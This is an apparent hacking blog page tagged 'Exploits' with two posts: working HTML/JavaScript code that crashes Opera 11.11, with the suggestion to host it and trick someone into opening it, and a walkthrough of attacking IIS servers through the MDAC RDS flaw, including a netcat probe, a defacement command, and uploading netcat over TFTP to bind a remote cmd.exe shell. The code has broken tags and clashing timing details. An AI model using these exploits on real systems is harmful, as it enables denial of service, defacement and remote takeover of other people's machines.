Showing posts with label Exploits. Show all posts
Showing posts with label Exploits. Show all posts
Opera 11.11 Crash Vulnerabilty Discussion
Opera 11.11 Web browser , which is vulnerable to DOS, and can
be used to crash it down remotely. The trick lies in refreshing/ reloading an
IFRAME and then putting an infinite loop on some of its element. For this time
we are going to use Font element.
So open up your Opera and load the exploit [which is in an
HTML file] into it. You can get the exploit code from here.
Save this text in form of a HTML file. When we open this
file in opera, goes up and crashes it down within a fraction of seconds. The
best part of this exploit is, you can also crash an Opera remotely, say
uploading our file to any of the free web hosting sites and then asking someone
to open it. Doing so would crash his opera down.
Anyways, lets discuss the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<html>
<body>
<iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;">iframe>
<script type="text/javascript" language="javascript">
var a = window.document.getElementById('bo0om');
var b =
a.contentDocument.createElement('font');
a.src='about:blank';
setTimeout('b.face = "h3h";',100);
script>
body>
html>
|
1.
<iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;">iframe>
As you can see, we had taken an iframe with id =bo0om with no source code, no height and no width.
2.
var a = window.document.getElementById('bo0om');
Then we took a variable ‘a’ and loaded the iframe
into it.
var b = a.contentDocument.createElement('font');
Taking ‘a’ into ‘b’, i.e.
whole iframe into ‘b’ and then adding an element font which I fiscussed in the
very first paragraph of this article.4.
setTimeout('b.face = "h3h";',100);
Now setting the timeout to be 500ms, we are asking our page to load “h3h” into font element of iframe bo0om, (b.face or we can say a.font.face or ultimately bo0om.font.face= ‘h3h’).
Now the point
is, this whole code is going to do the same amount of work in an infinite loop
and thus and opera will continuously keep doing this. Due to the memory it
would consume in performing this all, it crashes.
This is
the Error report I got in on my screen. You can get some difference.
12:40 PM 0
MDAC- Local Command Execution
You might think that it is a years-old vulnerability, however what i see on pen-tests is that almost 40% of IIS web servers are still vulnerable to this.
IIS' MDAC component has a vulnerability where an attacker can submit commands for local execution.
The core problem is with the RDS Datafactory. By default, it allows remote commands to be sent to the IIS server. The commands will be run as the effective user of the service, which is typically the SYSTEM user.
I wont get into details, if you want go and check RFP's web site. However, you can find a vulnerable site by checking
c:\>nc -nw -w 2 80
GET /msadc/msadcs.dll HTTP
and if you get the following
application/x_varg
it is most probably vulnerable if not patched.
You can find the exploit, mdac.pl and msadc2.pl from rain forest puppy's web site at www.wiretrip.net/rfp It checks for the vulnerability and if it is vulnerable then it asks for the command you wanna execute:
c:\> mdac.pl -h
Please type the NT commandline you want to run (cmd /c assumed):\n
cmd /c
if you wanna change the web site which is located at
d:\inetpub\wwwroot\victimweb\index.htm
then you can type:
cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
or what ever you want but my personnal preference is uploading our swiss army knife, netcat, and binding it to the cmd.exe to the port 80. To do that set up your TFTP server and put nc.exe in it. Then when you are asked to type the command you want to execute, for example type the following:
cmd/c cd %systemroot%&&tftp -i
there you go, go on fire your netcat against the victim over port 80, you get the eggshell, cmd.exe.....
11:39 PM 0
Subscribe to:
Posts (Atom)
Posts
